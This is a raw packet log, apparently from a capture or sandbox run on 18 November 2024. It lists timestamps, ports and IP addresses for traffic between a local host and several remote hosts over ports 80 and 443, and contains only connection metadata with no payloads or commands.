Nov 18, 2024 17:23:33.206670046 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.206685066 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.206687927 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:33.206700087 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.206715107 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.206722975 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:33.206728935 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.206743956 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.206747055 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:33.206759930 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.206784964 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.206799030 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.206814051 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.206821918 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:33.206821918 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:33.206831932 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.206836939 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:33.206847906 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.206864119 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.206876993 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:33.206877947 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.206895113 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.206909895 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.206912994 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:33.206924915 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.206940889 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:33.206943035 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.206959009 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.206967115 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:33.206974983 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.206990004 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.207005024 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.207019091 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:33.207020044 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.207036018 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.207052946 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.207056999 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:33.207106113 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:33.207282066 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.207295895 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.207309961 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.207329988 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.207343102 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:33.207346916 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.207362890 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.207365990 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:33.207377911 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.207393885 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.207408905 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:33.207412004 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.207434893 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:33.207438946 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.207463980 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.207479000 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.207488060 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:33.207492113 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.207509995 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.207518101 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:33.207525969 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.207540989 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.207556009 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.207567930 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:33.207571030 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.207577944 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:33.207587004 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.207601070 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.207616091 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.207631111 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.207633018 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:33.207645893 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.207664013 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.207667112 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:33.207679987 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.207694054 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.207709074 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.207720041 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:33.207724094 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.207741976 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.207763910 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:33.207890034 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.207905054 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.207918882 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.207935095 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.207937002 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:33.207958937 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:33.207958937 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.207974911 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.207988977 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.207998037 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:33.208004951 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.208020926 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.208035946 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.208051920 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.208053112 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:33.208066940 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.208082914 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.208090067 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:33.208098888 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.208112955 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.208127022 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.208142042 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:33.208142996 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.208158970 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.208174944 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.208184004 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:33.208189011 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.208204985 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.208219051 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.208233118 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:33.208234072 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.208271980 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:33.208404064 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.208419085 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.208441973 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.208456993 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.208462954 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:33.208472967 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.208488941 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.208503962 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.208517075 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:33.208518028 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.208533049 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.208549023 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.208559990 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:33.208564043 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.208579063 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.208594084 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.208607912 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:33.208611012 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.208643913 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:33.208667994 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:33.250984907 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:43.105393887 CET	49761	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:23:43.105441093 CET	443	49761	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:43.105510950 CET	49761	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:23:43.105590105 CET	49762	443	192.168.2.4	13.107.246.67
Nov 18, 2024 17:23:43.105614901 CET	443	49762	13.107.246.67	192.168.2.4
Nov 18, 2024 17:23:43.105664015 CET	49762	443	192.168.2.4	13.107.246.67
Nov 18, 2024 17:23:43.105803967 CET	49761	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:23:43.105835915 CET	443	49761	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:43.105947018 CET	49762	443	192.168.2.4	13.107.246.67
Nov 18, 2024 17:23:43.105958939 CET	443	49762	13.107.246.67	192.168.2.4
Nov 18, 2024 17:23:43.158690929 CET	49764	443	192.168.2.4	142.250.185.196
Nov 18, 2024 17:23:43.158731937 CET	443	49764	142.250.185.196	192.168.2.4
Nov 18, 2024 17:23:43.158879995 CET	49764	443	192.168.2.4	142.250.185.196
Nov 18, 2024 17:23:43.159354925 CET	49764	443	192.168.2.4	142.250.185.196
Nov 18, 2024 17:23:43.159368038 CET	443	49764	142.250.185.196	192.168.2.4
Nov 18, 2024 17:23:43.654736042 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:43.777045012 CET	49766	443	192.168.2.4	184.28.90.27
Nov 18, 2024 17:23:43.777096987 CET	443	49766	184.28.90.27	192.168.2.4
Nov 18, 2024 17:23:43.777328014 CET	49766	443	192.168.2.4	184.28.90.27
Nov 18, 2024 17:23:43.778775930 CET	49766	443	192.168.2.4	184.28.90.27
Nov 18, 2024 17:23:43.778862953 CET	443	49766	184.28.90.27	192.168.2.4
Nov 18, 2024 17:23:43.845391035 CET	443	49762	13.107.246.67	192.168.2.4
Nov 18, 2024 17:23:43.848640919 CET	49762	443	192.168.2.4	13.107.246.67
Nov 18, 2024 17:23:43.848674059 CET	443	49762	13.107.246.67	192.168.2.4
Nov 18, 2024 17:23:43.850169897 CET	443	49762	13.107.246.67	192.168.2.4
Nov 18, 2024 17:23:43.850235939 CET	49762	443	192.168.2.4	13.107.246.67
Nov 18, 2024 17:23:43.851401091 CET	49762	443	192.168.2.4	13.107.246.67
Nov 18, 2024 17:23:43.851494074 CET	443	49762	13.107.246.67	192.168.2.4
Nov 18, 2024 17:23:43.851613998 CET	49762	443	192.168.2.4	13.107.246.67
Nov 18, 2024 17:23:43.871555090 CET	443	49761	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:43.871999025 CET	49761	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:23:43.872024059 CET	443	49761	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:43.873478889 CET	443	49761	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:43.873544931 CET	49761	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:23:43.874799967 CET	49761	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:23:43.874887943 CET	443	49761	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:43.875200987 CET	49761	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:23:43.875216007 CET	443	49761	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:43.893539906 CET	49762	443	192.168.2.4	13.107.246.67
Nov 18, 2024 17:23:43.893558025 CET	443	49762	13.107.246.67	192.168.2.4
Nov 18, 2024 17:23:43.920636892 CET	49761	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:23:43.940329075 CET	49762	443	192.168.2.4	13.107.246.67
Nov 18, 2024 17:23:44.072604895 CET	443	49764	142.250.185.196	192.168.2.4
Nov 18, 2024 17:23:44.073168993 CET	49764	443	192.168.2.4	142.250.185.196
Nov 18, 2024 17:23:44.073183060 CET	443	49764	142.250.185.196	192.168.2.4
Nov 18, 2024 17:23:44.074700117 CET	443	49764	142.250.185.196	192.168.2.4
Nov 18, 2024 17:23:44.074759007 CET	49764	443	192.168.2.4	142.250.185.196
Nov 18, 2024 17:23:44.075998068 CET	49764	443	192.168.2.4	142.250.185.196
Nov 18, 2024 17:23:44.076102972 CET	443	49764	142.250.185.196	192.168.2.4
Nov 18, 2024 17:23:44.095168114 CET	443	49762	13.107.246.67	192.168.2.4
Nov 18, 2024 17:23:44.095196009 CET	443	49762	13.107.246.67	192.168.2.4
Nov 18, 2024 17:23:44.095211029 CET	443	49762	13.107.246.67	192.168.2.4
Nov 18, 2024 17:23:44.095244884 CET	443	49762	13.107.246.67	192.168.2.4
Nov 18, 2024 17:23:44.095262051 CET	49762	443	192.168.2.4	13.107.246.67
Nov 18, 2024 17:23:44.095269918 CET	443	49762	13.107.246.67	192.168.2.4
Nov 18, 2024 17:23:44.095282078 CET	443	49762	13.107.246.67	192.168.2.4
Nov 18, 2024 17:23:44.095303059 CET	49762	443	192.168.2.4	13.107.246.67
Nov 18, 2024 17:23:44.095316887 CET	443	49762	13.107.246.67	192.168.2.4
Nov 18, 2024 17:23:44.095354080 CET	49762	443	192.168.2.4	13.107.246.67
Nov 18, 2024 17:23:44.095365047 CET	49762	443	192.168.2.4	13.107.246.67
Nov 18, 2024 17:23:44.130319118 CET	49764	443	192.168.2.4	142.250.185.196
Nov 18, 2024 17:23:44.130331039 CET	443	49764	142.250.185.196	192.168.2.4
Nov 18, 2024 17:23:44.176584959 CET	49764	443	192.168.2.4	142.250.185.196
Nov 18, 2024 17:23:44.341104031 CET	443	49761	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:44.341167927 CET	443	49761	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:44.341212034 CET	443	49761	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:44.341231108 CET	443	49761	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:44.341248989 CET	443	49761	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:44.341381073 CET	49761	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:23:44.341381073 CET	49761	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:23:44.341469049 CET	443	49761	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:44.341557026 CET	49761	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:23:44.341866970 CET	443	49762	13.107.246.67	192.168.2.4
Nov 18, 2024 17:23:44.341880083 CET	443	49762	13.107.246.67	192.168.2.4
Nov 18, 2024 17:23:44.341922045 CET	443	49762	13.107.246.67	192.168.2.4
Nov 18, 2024 17:23:44.341944933 CET	49762	443	192.168.2.4	13.107.246.67
Nov 18, 2024 17:23:44.341965914 CET	443	49762	13.107.246.67	192.168.2.4
Nov 18, 2024 17:23:44.341983080 CET	49762	443	192.168.2.4	13.107.246.67
Nov 18, 2024 17:23:44.342014074 CET	49762	443	192.168.2.4	13.107.246.67
Nov 18, 2024 17:23:44.343096018 CET	443	49761	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:44.343141079 CET	443	49761	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:44.343161106 CET	49761	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:23:44.343180895 CET	443	49761	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:44.343205929 CET	49761	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:23:44.343970060 CET	443	49762	13.107.246.67	192.168.2.4
Nov 18, 2024 17:23:44.343993902 CET	443	49762	13.107.246.67	192.168.2.4
Nov 18, 2024 17:23:44.344048977 CET	443	49762	13.107.246.67	192.168.2.4
Nov 18, 2024 17:23:44.344053984 CET	49761	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:23:44.344084024 CET	49762	443	192.168.2.4	13.107.246.67
Nov 18, 2024 17:23:44.344084024 CET	49762	443	192.168.2.4	13.107.246.67
Nov 18, 2024 17:23:44.344094038 CET	443	49762	13.107.246.67	192.168.2.4
Nov 18, 2024 17:23:44.344110966 CET	49762	443	192.168.2.4	13.107.246.67
Nov 18, 2024 17:23:44.344124079 CET	443	49762	13.107.246.67	192.168.2.4
Nov 18, 2024 17:23:44.344166040 CET	49762	443	192.168.2.4	13.107.246.67
Nov 18, 2024 17:23:44.347508907 CET	49762	443	192.168.2.4	13.107.246.67
Nov 18, 2024 17:23:44.347528934 CET	443	49762	13.107.246.67	192.168.2.4
Nov 18, 2024 17:23:44.370116949 CET	443	49761	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:44.370171070 CET	443	49761	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:44.370201111 CET	49761	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:23:44.370218039 CET	443	49761	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:44.370248079 CET	49761	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:23:44.370311975 CET	49761	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:23:44.371566057 CET	49767	443	192.168.2.4	13.107.246.44
Nov 18, 2024 17:23:44.371594906 CET	443	49767	13.107.246.44	192.168.2.4
Nov 18, 2024 17:23:44.371670961 CET	49767	443	192.168.2.4	13.107.246.44
Nov 18, 2024 17:23:44.371928930 CET	49767	443	192.168.2.4	13.107.246.44
Nov 18, 2024 17:23:44.371942043 CET	443	49767	13.107.246.44	192.168.2.4
Nov 18, 2024 17:23:44.490647078 CET	443	49761	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:44.490715981 CET	443	49761	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:44.490740061 CET	49761	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:23:44.490780115 CET	443	49761	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:44.490812063 CET	49761	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:23:44.490833044 CET	49761	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:23:44.610279083 CET	443	49761	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:44.610343933 CET	443	49761	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:44.610496044 CET	49761	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:23:44.610496044 CET	49761	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:23:44.610565901 CET	443	49761	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:44.610697031 CET	49761	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:23:44.640598059 CET	443	49766	184.28.90.27	192.168.2.4
Nov 18, 2024 17:23:44.640835047 CET	49766	443	192.168.2.4	184.28.90.27
Nov 18, 2024 17:23:44.646281004 CET	49766	443	192.168.2.4	184.28.90.27
Nov 18, 2024 17:23:44.646310091 CET	443	49766	184.28.90.27	192.168.2.4
Nov 18, 2024 17:23:44.646672964 CET	443	49766	184.28.90.27	192.168.2.4
Nov 18, 2024 17:23:44.688666105 CET	49766	443	192.168.2.4	184.28.90.27
Nov 18, 2024 17:23:44.694564104 CET	49766	443	192.168.2.4	184.28.90.27
Nov 18, 2024 17:23:44.710608959 CET	443	49761	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:44.710656881 CET	443	49761	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:44.710716009 CET	49761	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:23:44.710786104 CET	443	49761	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:44.710824966 CET	49761	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:23:44.711003065 CET	49761	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:23:44.739331007 CET	443	49766	184.28.90.27	192.168.2.4
Nov 18, 2024 17:23:45.030401945 CET	443	49761	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:45.030426979 CET	443	49761	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:45.030471087 CET	443	49761	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:45.030494928 CET	49761	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:23:45.030555964 CET	49761	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:23:45.030580997 CET	443	49761	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:45.030647039 CET	49761	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:23:45.032604933 CET	443	49761	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:45.032646894 CET	443	49761	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:45.032702923 CET	49761	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:23:45.032717943 CET	443	49761	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:45.032747984 CET	49761	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:23:45.033241034 CET	49761	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:23:45.034116983 CET	443	49766	184.28.90.27	192.168.2.4
Nov 18, 2024 17:23:45.034260035 CET	443	49766	184.28.90.27	192.168.2.4
Nov 18, 2024 17:23:45.034357071 CET	49766	443	192.168.2.4	184.28.90.27
Nov 18, 2024 17:23:45.034605980 CET	443	49761	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:45.034646034 CET	443	49761	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:45.034683943 CET	49761	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:23:45.034698963 CET	443	49761	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:45.034725904 CET	49761	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:23:45.035240889 CET	49761	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:23:45.036659002 CET	49766	443	192.168.2.4	184.28.90.27
Nov 18, 2024 17:23:45.036688089 CET	443	49766	184.28.90.27	192.168.2.4
Nov 18, 2024 17:23:45.036721945 CET	49766	443	192.168.2.4	184.28.90.27
Nov 18, 2024 17:23:45.036736965 CET	443	49766	184.28.90.27	192.168.2.4
Nov 18, 2024 17:23:45.088399887 CET	49769	443	192.168.2.4	184.28.90.27
Nov 18, 2024 17:23:45.088444948 CET	443	49769	184.28.90.27	192.168.2.4
Nov 18, 2024 17:23:45.088562965 CET	49769	443	192.168.2.4	184.28.90.27
Nov 18, 2024 17:23:45.088983059 CET	49769	443	192.168.2.4	184.28.90.27
Nov 18, 2024 17:23:45.088995934 CET	443	49769	184.28.90.27	192.168.2.4
Nov 18, 2024 17:23:45.091379881 CET	443	49761	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:45.091408968 CET	443	49761	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:45.091468096 CET	49761	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:23:45.091501951 CET	443	49761	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:45.091527939 CET	49761	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:23:45.091748953 CET	49761	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:23:45.135936022 CET	443	49761	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:45.136060953 CET	443	49761	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:45.136099100 CET	49761	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:23:45.136121035 CET	443	49761	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:45.136137962 CET	49761	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:23:45.137814045 CET	49761	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:23:45.174690008 CET	443	49767	13.107.246.44	192.168.2.4
Nov 18, 2024 17:23:45.177475929 CET	49767	443	192.168.2.4	13.107.246.44
Nov 18, 2024 17:23:45.177488089 CET	443	49767	13.107.246.44	192.168.2.4
Nov 18, 2024 17:23:45.178354025 CET	443	49767	13.107.246.44	192.168.2.4
Nov 18, 2024 17:23:45.178421974 CET	49767	443	192.168.2.4	13.107.246.44
Nov 18, 2024 17:23:45.179054976 CET	49767	443	192.168.2.4	13.107.246.44
Nov 18, 2024 17:23:45.179105043 CET	443	49767	13.107.246.44	192.168.2.4
Nov 18, 2024 17:23:45.179337025 CET	49767	443	192.168.2.4	13.107.246.44
Nov 18, 2024 17:23:45.179342031 CET	443	49767	13.107.246.44	192.168.2.4
Nov 18, 2024 17:23:45.212932110 CET	443	49761	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:45.212995052 CET	443	49761	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:45.213026047 CET	49761	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:23:45.213072062 CET	443	49761	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:45.213102102 CET	49761	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:23:45.213151932 CET	49761	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:23:45.220243931 CET	49767	443	192.168.2.4	13.107.246.44
Nov 18, 2024 17:23:45.332367897 CET	443	49761	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:45.332444906 CET	443	49761	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:45.332465887 CET	49761	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:23:45.332492113 CET	443	49761	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:45.332545042 CET	49761	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:23:45.332607031 CET	443	49761	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:45.336139917 CET	49761	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:23:45.406315088 CET	49761	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:23:45.406349897 CET	443	49761	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:45.431535006 CET	443	49767	13.107.246.44	192.168.2.4
Nov 18, 2024 17:23:45.431587934 CET	443	49767	13.107.246.44	192.168.2.4
Nov 18, 2024 17:23:45.431608915 CET	443	49767	13.107.246.44	192.168.2.4
Nov 18, 2024 17:23:45.431648016 CET	443	49767	13.107.246.44	192.168.2.4
Nov 18, 2024 17:23:45.431675911 CET	49767	443	192.168.2.4	13.107.246.44
Nov 18, 2024 17:23:45.431694031 CET	443	49767	13.107.246.44	192.168.2.4
Nov 18, 2024 17:23:45.431715012 CET	443	49767	13.107.246.44	192.168.2.4
